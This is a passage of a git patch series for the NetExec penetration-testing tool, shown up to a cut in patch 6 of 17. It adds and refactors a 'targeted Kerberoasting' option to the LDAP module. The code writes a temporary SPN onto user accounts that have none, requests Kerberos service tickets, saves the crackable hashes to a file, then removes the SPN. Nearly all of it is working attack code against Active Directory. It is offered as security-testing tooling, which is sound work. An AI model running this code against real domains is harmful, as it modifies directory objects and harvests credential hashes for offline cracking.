From c0ee68576910d7a1d9494efd654308ae9a11ac1f Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 4 Aug 2025 00:37:19 +0200 Subject: [PATCH 01/17] Add targeted Kerberoasting by injecting/removing temporary SPNs --- nxc/protocols/ldap.py | 96 ++++++++++++++++++++++++++++++++ nxc/protocols/ldap/proto_args.py | 1 + 2 files changed, 97 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d96b996d41..b15be37f2d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -12,6 +12,7 @@ from termcolor import colored from dns import resolver from dateutil.relativedelta import relativedelta as rd +from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError @@ -1163,6 +1164,101 @@ def kerberoasting(self): else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + def targetedkerberoast(self): + searchFilter = "(&(objectCategory=person)(!(servicePrincipalName=*)))" + attributes = ["distinguishedName", "sAMAccountName", "userAccountControl"] + self.logger.debug(f"Search Filter: {searchFilter}") + resp = self.search(searchFilter, attributes, 0) + resp_parsed = parse_result_attributes(resp) + + if not resp_parsed: + self.logger.highlight("No users without SPN found.") + return + + enabled_users = [u for u in resp_parsed if not int(u["userAccountControl"]) & 0x2] + self.logger.display(f"Found {len(enabled_users)} enabled users without SPN.") + + hashes = [] + successful_targets = [] + buffered_logs = [] + + try: + server = Server(self.host, get_info=None) + conn = Connection( + server, + user=f"{self.domain}\\{self.username}", + password=self.password, + authentication=NTLM, + auto_bind=True, + ) + except Exception as e: + self.logger.fail(f"Failed to bind with ldap3: {e}") + return + + for user in enabled_users: + dn = user["distinguishedName"] + sam = user["sAMAccountName"] + temp_spn = f"test/{sam}" + try: + self.logger.debug(f"Trying to add SPN {temp_spn} to {sam}") + if not conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [temp_spn])]}): + buffered_logs.append(("debug", f"Failed to add SPN for {sam}: {conn.result}")) + continue + buffered_logs.append(("success", f"SPN added successfully for {sam}")) + + TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + if not TGT: + buffered_logs.append(("fail", f"Could not get TGT for SPN injection on {sam}")) + continue + + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_SRV_INST.value + principalName.components = temp_spn.split("/") + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) + + hash_str = KerberosAttacks(self).output_tgs( + tgs, + oldSessionKey, + sessionKey, + sam, + temp_spn, + ) + + hashes.append(hash_str) + successful_targets.append((dn, sam)) + buffered_logs.append(("highlight", hash_str)) + + if self.args.targetedkerberoast: + with open(self.args.targetedkerberoast, "a", encoding="utf-8") as f: + f.write(hash_str + "\n") + + if conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}): + buffered_logs.append(("success", f"SPN removed successfully for {sam}")) + else: + buffered_logs.append(("debug", f"Failed to remove SPN for {sam}: {conn.result}")) + + except Exception as e: + buffered_logs.append(("fail", f"Error for {sam}: {e}")) + self.logger.debug("Traceback", exc_info=True) + + self.logger.display(f"Total of records returned: {len(successful_targets)}") + + for level, msg in buffered_logs: + getattr(self.logger, level)(msg) + + try: + conn.unbind() + except: + pass + def query(self): """ Query the LDAP server with the specified filter and attributes. diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index b0953031c4..38de6a86fa 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -15,6 +15,7 @@ def proto_args(parser, parents): kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file") kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)") egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users") + egroup.add_argument("--targetedkerberoast", help="Add temporary SPN to users without one, request TGS, then remove it") # Make kerberoast-users require kerberoasting kerberoast_users_arg.make_required = [kerberoasting_arg] From 7df50ab68348e72c4fca88d9aa272373113cb02d Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 5 Aug 2025 20:10:41 +0200 Subject: [PATCH 02/17] Update to support NT/AES/KCACHE --- nxc/protocols/ldap.py | 131 ++++++++++++++++++------------------------ 1 file changed, 56 insertions(+), 75 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index b15be37f2d..dfecd7ccc8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -4,6 +4,7 @@ import hmac import os import socket +import ldap3 from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime @@ -12,7 +13,7 @@ from termcolor import colored from dns import resolver from dateutil.relativedelta import relativedelta as rd -from ldap3 import Server, Connection, NTLM, MODIFY_REPLACE +from ldap3 import MODIFY_REPLACE from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError @@ -1163,101 +1164,81 @@ def kerberoasting(self): self.logger.fail(f"Principal: {downLevelLogonName} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") - + def targetedkerberoast(self): - searchFilter = "(&(objectCategory=person)(!(servicePrincipalName=*)))" - attributes = ["distinguishedName", "sAMAccountName", "userAccountControl"] - self.logger.debug(f"Search Filter: {searchFilter}") - resp = self.search(searchFilter, attributes, 0) - resp_parsed = parse_result_attributes(resp) - - if not resp_parsed: + # enumerate users without SPN + search_filter = "(&(objectCategory=person)(!(servicePrincipalName=*)))" + attrs = ["distinguishedName", "sAMAccountName", "userAccountControl"] + resp = parse_result_attributes(self.search(search_filter, attrs, 0)) + if not resp: self.logger.highlight("No users without SPN found.") return - enabled_users = [u for u in resp_parsed if not int(u["userAccountControl"]) & 0x2] - self.logger.display(f"Found {len(enabled_users)} enabled users without SPN.") - - hashes = [] - successful_targets = [] - buffered_logs = [] - - try: - server = Server(self.host, get_info=None) - conn = Connection( - server, - user=f"{self.domain}\\{self.username}", - password=self.password, - authentication=NTLM, - auto_bind=True, - ) - except Exception as e: - self.logger.fail(f"Failed to bind with ldap3: {e}") + enabled = [u for u in resp if not int(u["userAccountControl"]) & 0x2] + self.logger.display(f"Found {len(enabled)} enabled users without SPN.") + + # kerberos bind via ldap3 + lmhash = nthash = "" + if self.args.hash: + h = self.args.hash[0] if isinstance(self.args.hash, list) else self.args.hash + if h: + parts = h.split(":", 1) + lmhash, nthash = parts if len(parts) == 2 else ("", parts[0]) + + ok, conn = self.ldap3_kerberos_login( + user=self.username or "", + password=self.password or "", + lmhash=lmhash, + nthash=nthash, + aes_key=self.args.aesKey[0] if self.args.aesKey else "", + kdcHost=self.kdcHost, + useCache=bool(self.args.use_kcache), + ) + if not ok: + self.logger.fail("Kerberos bind failed.") return - for user in enabled_users: - dn = user["distinguishedName"] - sam = user["sAMAccountName"] - temp_spn = f"test/{sam}" + hashes, logs, success = [], [], [] + for u in enabled: + dn = u["distinguishedName"] + sam = u["sAMAccountName"] + spn = f"test/{sam}" try: - self.logger.debug(f"Trying to add SPN {temp_spn} to {sam}") - if not conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [temp_spn])]}): - buffered_logs.append(("debug", f"Failed to add SPN for {sam}: {conn.result}")) + if not conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])] }): + logs.append(("debug", f"Failed to add SPN for {sam}: {conn.result}")) continue - buffered_logs.append(("success", f"SPN added successfully for {sam}")) + logs.append(("success", f"SPN added successfully for {sam}")) - TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) - if not TGT: - buffered_logs.append(("fail", f"Could not get TGT for SPN injection on {sam}")) + tgt = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + if not tgt: + logs.append(("fail", f"No TGT for {sam}")) continue - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_SRV_INST.value - principalName.components = temp_spn.split("/") - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["sessionKey"], - ) - - hash_str = KerberosAttacks(self).output_tgs( - tgs, - oldSessionKey, - sessionKey, - sam, - temp_spn, + princ = Principal(); princ.type = constants.PrincipalNameType.NT_SRV_INST.value + princ.components = spn.split("/") + tgs, cipher, old_sk, sk = getKerberosTGS( + princ, self.domain, self.kdcHost, + tgt["KDC_REP"], tgt["cipher"], tgt["sessionKey"] ) - - hashes.append(hash_str) - successful_targets.append((dn, sam)) - buffered_logs.append(("highlight", hash_str)) + h = KerberosAttacks(self).output_tgs(tgs, old_sk, sk, sam, spn) + hashes.append(h); success.append((dn, sam)); logs.append(("highlight", h)) if self.args.targetedkerberoast: with open(self.args.targetedkerberoast, "a", encoding="utf-8") as f: - f.write(hash_str + "\n") + f.write(h + "\n") if conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}): - buffered_logs.append(("success", f"SPN removed successfully for {sam}")) + logs.append(("success", f"SPN removed successfully for {sam}")) else: - buffered_logs.append(("debug", f"Failed to remove SPN for {sam}: {conn.result}")) - + logs.append(("debug", f"Failed to remove SPN for {sam}: {conn.result}")) except Exception as e: - buffered_logs.append(("fail", f"Error for {sam}: {e}")) + logs.append(("fail", f"Error for {sam}: {e}")) self.logger.debug("Traceback", exc_info=True) - self.logger.display(f"Total of records returned: {len(successful_targets)}") - - for level, msg in buffered_logs: - getattr(self.logger, level)(msg) - - try: - conn.unbind() - except: - pass + self.logger.display(f"Total of records returned: {len(success)}") + for lvl, msg in logs: + getattr(self.logger, lvl)(msg) + conn.unbind() def query(self): """ From 3d9d231225c8cf4e454856091bfdeab795ac748b Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 5 Feb 2026 19:08:32 +0100 Subject: [PATCH 03/17] refactor: use impacket CRUD, remove ldap3 for targetedkerberoast --- nxc/protocols/ldap.py | 150 ++++++++++++++++++------------- nxc/protocols/ldap/proto_args.py | 2 +- 2 files changed, 88 insertions(+), 64 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index dfecd7ccc8..250c46c4b6 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -4,7 +4,6 @@ import hmac import os import socket -import ldap3 from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime @@ -13,7 +12,6 @@ from termcolor import colored from dns import resolver from dateutil.relativedelta import relativedelta as rd -from ldap3 import MODIFY_REPLACE from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError @@ -34,7 +32,7 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket -from impacket.ldap.ldap import LDAPFilterSyntaxError +from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE from impacket.smbconnection import SessionError from impacket.ntlm import getNTLMSSPType1 @@ -1166,79 +1164,105 @@ def kerberoasting(self): self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") def targetedkerberoast(self): - # enumerate users without SPN - search_filter = "(&(objectCategory=person)(!(servicePrincipalName=*)))" - attrs = ["distinguishedName", "sAMAccountName", "userAccountControl"] - resp = parse_result_attributes(self.search(search_filter, attrs, 0)) - if not resp: - self.logger.highlight("No users without SPN found.") + + search_filter = "(&(objectCategory=person)(!(servicePrincipalName=*))(!(objectCategory=computer)))" + attributes = [ + "distinguishedName", + "sAMAccountName", + "userAccountControl", + "MemberOf", + "pwdLastSet", + "lastLogon", + ] + resp = self.search(search_filter, attributes, 0) + resp_parsed = parse_result_attributes(resp) + + if not resp_parsed: + self.logger.highlight("No entries found!") return - enabled = [u for u in resp if not int(u["userAccountControl"]) & 0x2] + disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + for account in disabled_accounts: + self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + + enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] self.logger.display(f"Found {len(enabled)} enabled users without SPN.") - # kerberos bind via ldap3 - lmhash = nthash = "" - if self.args.hash: - h = self.args.hash[0] if isinstance(self.args.hash, list) else self.args.hash - if h: - parts = h.split(":", 1) - lmhash, nthash = parts if len(parts) == 2 else ("", parts[0]) - - ok, conn = self.ldap3_kerberos_login( - user=self.username or "", - password=self.password or "", - lmhash=lmhash, - nthash=nthash, - aes_key=self.args.aesKey[0] if self.args.aesKey else "", - kdcHost=self.kdcHost, - useCache=bool(self.args.use_kcache), - ) - if not ok: - self.logger.fail("Kerberos bind failed.") - return + results = [] + for user in enabled: + dn = user["distinguishedName"] + sam = user["sAMAccountName"] + spn = f"cifs/{sam}" + downLevelLogonName = f"{self.targetDomain}\\{sam}" - hashes, logs, success = [], [], [] - for u in enabled: - dn = u["distinguishedName"] - sam = u["sAMAccountName"] - spn = f"test/{sam}" try: - if not conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])] }): - logs.append(("debug", f"Failed to add SPN for {sam}: {conn.result}")) - continue - logs.append(("success", f"SPN added successfully for {sam}")) + # Add temporary SPN + self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])]}) + self.logger.debug(f"SPN '{spn}' added for {sam}") - tgt = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) - if not tgt: - logs.append(("fail", f"No TGT for {sam}")) - continue + try: + TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + self.logger.debug(f"TGT: {TGT}") + if TGT: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] - princ = Principal(); princ.type = constants.PrincipalNameType.NT_SRV_INST.value - princ.components = spn.split("/") - tgs, cipher, old_sk, sk = getKerberosTGS( - princ, self.domain, self.kdcHost, - tgt["KDC_REP"], tgt["cipher"], tgt["sessionKey"] - ) - h = KerberosAttacks(self).output_tgs(tgs, old_sk, sk, sam, spn) - hashes.append(h); success.append((dn, sam)); logs.append(("highlight", h)) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) - if self.args.targetedkerberoast: - with open(self.args.targetedkerberoast, "a", encoding="utf-8") as f: - f.write(h + "\n") + hash_line = KerberosAttacks(self).output_tgs(tgs, oldSessionKey, sessionKey, sam, downLevelLogonName) + pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) + lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) - if conn.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}): - logs.append(("success", f"SPN removed successfully for {sam}")) + results.append({ + "sam": sam, + "memberOf": user.get("memberOf", []), + "pwdLastSet": pwdLastSet, + "lastLogon": lastLogon, + "hash": hash_line, + }) + else: + self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + + finally: + try: + self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) + self.logger.debug(f"SPN removed for {sam}") + except Exception as cleanup_error: + self.logger.debug(f"Failed to remove SPN for {sam}: {cleanup_error}") + + except ldap_impacket.LDAPSessionError as e: + error_str = str(e) + if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: + self.logger.debug(f"No write access to {sam}'s SPN attribute") else: - logs.append(("debug", f"Failed to remove SPN for {sam}: {conn.result}")) + self.logger.fail(f"LDAP error for {sam}: {e}") + self.logger.debug("Traceback", exc_info=True) + except Exception as e: - logs.append(("fail", f"Error for {sam}: {e}")) - self.logger.debug("Traceback", exc_info=True) + self.logger.debug(f"Exception: {e}", exc_info=True) + self.logger.fail(f"Principal: {downLevelLogonName} - {e}") + + if not results: + self.logger.highlight("No entries found!") + return + + self.logger.display(f"Total of records returned {len(results):d}") + + for result in results: + self.logger.display(f"sAMAccountName: {result['sam']}, memberOf: {result['memberOf']}, pwdLastSet: {result['pwdLastSet']}, lastLogon: {result['lastLogon']}") + self.logger.highlight(result["hash"]) - self.logger.display(f"Total of records returned: {len(success)}") - for lvl, msg in logs: - getattr(self.logger, lvl)(msg) - conn.unbind() + if self.args.targetedkerberoast: + with open(self.args.targetedkerberoast, "a+", encoding="utf-8") as f: + f.write(result["hash"] + "\n") def query(self): """ diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 38de6a86fa..5edea32a95 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -15,7 +15,7 @@ def proto_args(parser, parents): kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file") kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)") egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users") - egroup.add_argument("--targetedkerberoast", help="Add temporary SPN to users without one, request TGS, then remove it") + egroup.add_argument("--targetedkerberoast", help="Add temporary SPN to users without one, request ST, then remove it") # Make kerberoast-users require kerberoasting kerberoast_users_arg.make_required = [kerberoasting_arg] From e1860e3da471c854ee185fe8756b581b31d1e646 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 5 Feb 2026 19:10:08 +0100 Subject: [PATCH 04/17] ruff fix --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 250c46c4b6..9d84737e5c 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1162,7 +1162,7 @@ def kerberoasting(self): self.logger.fail(f"Principal: {downLevelLogonName} - {e}") else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") - + def targetedkerberoast(self): search_filter = "(&(objectCategory=person)(!(servicePrincipalName=*))(!(objectCategory=computer)))" From 44d2416e132019120490240966806773821edd24 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 4 Mar 2026 12:03:00 +0100 Subject: [PATCH 05/17] refactor: use --targeted-kerberoast with --kerberoasting --- nxc/protocols/ldap.py | 214 ++++++++++++++++--------------- nxc/protocols/ldap/proto_args.py | 5 +- 2 files changed, 111 insertions(+), 108 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9d84737e5c..33019a426d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1074,6 +1074,114 @@ def kerberoasting(self): f.write(line + "\n") return + if self.args.targeted_kerberoast: + target_users = [] + for item in self.args.targeted_kerberoast: + if os.path.isfile(item): + with open(item, encoding="utf-8") as f: + target_users.extend(line.strip() for line in f if line.strip()) + else: + target_users.append(item.strip()) + + user_filter = "".join(f"(sAMAccountName={user})" for user in target_users) + search_filter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))" + attributes = [ + "distinguishedName", + "sAMAccountName", + "userAccountControl", + "MemberOf", + "pwdLastSet", + "lastLogon", + ] + resp = self.search(search_filter, attributes, 0) + resp_parsed = parse_result_attributes(resp) + + if not resp_parsed: + self.logger.fail("No entries found!") + return + + disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + for account in disabled_accounts: + self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + + enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + self.logger.success(f"Found {len(enabled)} enabled users without SPN.") + + results = [] + for user in enabled: + dn = user["distinguishedName"] + sam = user["sAMAccountName"] + spn = f"cifs/{sam}" + downLevelLogonName = f"{self.targetDomain}\\{sam}" + + try: + # Add temporary SPN + self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])]}) + self.logger.debug(f"SPN '{spn}' added for {sam}") + + try: + TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + self.logger.debug(f"TGT: {TGT}") + if TGT: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) + + hash_line = KerberosAttacks(self).output_tgs(tgs, oldSessionKey, sessionKey, sam, downLevelLogonName) + pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) + lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) + + results.append({ + "sam": sam, + "memberOf": user.get("memberOf", []), + "pwdLastSet": pwdLastSet, + "lastLogon": lastLogon, + "hash": hash_line, + }) + else: + self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + except Exception as e: + self.logger.debug(f"Exception: {e}", exc_info=True) + self.logger.fail(f"Principal: {downLevelLogonName} - {e}") + finally: + try: + self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) + self.logger.debug(f"SPN removed for {sam}") + except Exception as cleanup_error: + self.logger.fail(f"Failed to remove SPN for {sam}: {cleanup_error}") + + except ldap_impacket.LDAPSessionError as e: + error_str = str(e) + if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: + self.logger.debug(f"No write access to {sam}'s SPN attribute") + else: + self.logger.fail(f"LDAP error for {sam}: {e}") + self.logger.debug("Traceback", exc_info=True) + + if not results: + self.logger.fail("Could not get any STs") + return + + self.logger.display(f"Total of records returned {len(results):d}") + + for result in results: + self.logger.display(f"sAMAccountName: {result['sam']}, memberOf: {result['memberOf']}, pwdLastSet: {result['pwdLastSet']}, lastLogon: {result['lastLogon']}") + self.logger.highlight(result["hash"]) + + if self.args.kerberoasting: + with open(self.args.kerberoasting, "a+", encoding="utf-8") as f: + f.write(result["hash"] + "\n") + return + if self.args.kerberoast_account: target_accounts = [] for item in self.args.kerberoast_account: @@ -1088,11 +1196,9 @@ def kerberoasting(self): self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") - # build search filter for specific users user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts]) searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))" else: - # default to all searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))" attributes = [ @@ -1113,17 +1219,14 @@ def kerberoasting(self): if not resp_parsed: self.logger.highlight("No entries found!") else: - # Filter disabled accounts disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] for account in disabled_accounts: self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - # Get all enabled accounts enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] self.logger.display(f"Total of records returned {len(enabled):d}") for user in enabled: - # Perform Kerberos Attack TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: @@ -1163,107 +1266,6 @@ def kerberoasting(self): else: self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") - def targetedkerberoast(self): - - search_filter = "(&(objectCategory=person)(!(servicePrincipalName=*))(!(objectCategory=computer)))" - attributes = [ - "distinguishedName", - "sAMAccountName", - "userAccountControl", - "MemberOf", - "pwdLastSet", - "lastLogon", - ] - resp = self.search(search_filter, attributes, 0) - resp_parsed = parse_result_attributes(resp) - - if not resp_parsed: - self.logger.highlight("No entries found!") - return - - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - for account in disabled_accounts: - self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") - - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] - self.logger.display(f"Found {len(enabled)} enabled users without SPN.") - - results = [] - for user in enabled: - dn = user["distinguishedName"] - sam = user["sAMAccountName"] - spn = f"cifs/{sam}" - downLevelLogonName = f"{self.targetDomain}\\{sam}" - - try: - # Add temporary SPN - self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [spn])]}) - self.logger.debug(f"SPN '{spn}' added for {sam}") - - try: - TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) - self.logger.debug(f"TGT: {TGT}") - if TGT: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value - principalName.components = [downLevelLogonName] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["sessionKey"], - ) - - hash_line = KerberosAttacks(self).output_tgs(tgs, oldSessionKey, sessionKey, sam, downLevelLogonName) - pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) - lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) - - results.append({ - "sam": sam, - "memberOf": user.get("memberOf", []), - "pwdLastSet": pwdLastSet, - "lastLogon": lastLogon, - "hash": hash_line, - }) - else: - self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") - - finally: - try: - self.ldap_connection.modify(dn, {"servicePrincipalName": [(MODIFY_REPLACE, [])]}) - self.logger.debug(f"SPN removed for {sam}") - except Exception as cleanup_error: - self.logger.debug(f"Failed to remove SPN for {sam}: {cleanup_error}") - - except ldap_impacket.LDAPSessionError as e: - error_str = str(e) - if "insufficientAccessRights" in error_str or "INSUFF_ACCESS_RIGHTS" in error_str: - self.logger.debug(f"No write access to {sam}'s SPN attribute") - else: - self.logger.fail(f"LDAP error for {sam}: {e}") - self.logger.debug("Traceback", exc_info=True) - - except Exception as e: - self.logger.debug(f"Exception: {e}", exc_info=True) - self.logger.fail(f"Principal: {downLevelLogonName} - {e}") - - if not results: - self.logger.highlight("No entries found!") - return - - self.logger.display(f"Total of records returned {len(results):d}") - - for result in results: - self.logger.display(f"sAMAccountName: {result['sam']}, memberOf: {result['memberOf']}, pwdLastSet: {result['pwdLastSet']}, lastLogon: {result['lastLogon']}") - self.logger.highlight(result["hash"]) - - if self.args.targetedkerberoast: - with open(self.args.targetedkerberoast, "a+", encoding="utf-8") as f: - f.write(result["hash"] + "\n") - def query(self): """ Query the LDAP server with the specified filter and attributes. diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 5edea32a95..0b22183ecc 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -15,10 +15,11 @@ def proto_args(parser, parents): kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file") kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)") egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users") - egroup.add_argument("--targetedkerberoast", help="Add temporary SPN to users without one, request ST, then remove it") + targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Targeted kerberoasting: add temporary SPN to specified users, request ST, then remove it (sAMAccountNames or file containing sAMAccountNames)") - # Make kerberoast-users require kerberoasting + # Make kerberoast-users and targeted-kerberoast require kerberoasting kerberoast_users_arg.make_required = [kerberoasting_arg] + targeted_kerberoast_arg.make_required = [kerberoasting_arg] vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") From d8cf226eb19851490bccb5d9c7572b0c292701a7 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 4 Mar 2026 12:09:31 +0100 Subject: [PATCH 06/17] fix accidental comment removal --- nxc/protocols/ldap.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 33019a426d..fcb5cae1d4 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1196,9 +1196,11 @@ def kerberoasting(self): self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") + # build search filter for specific users user_filter = 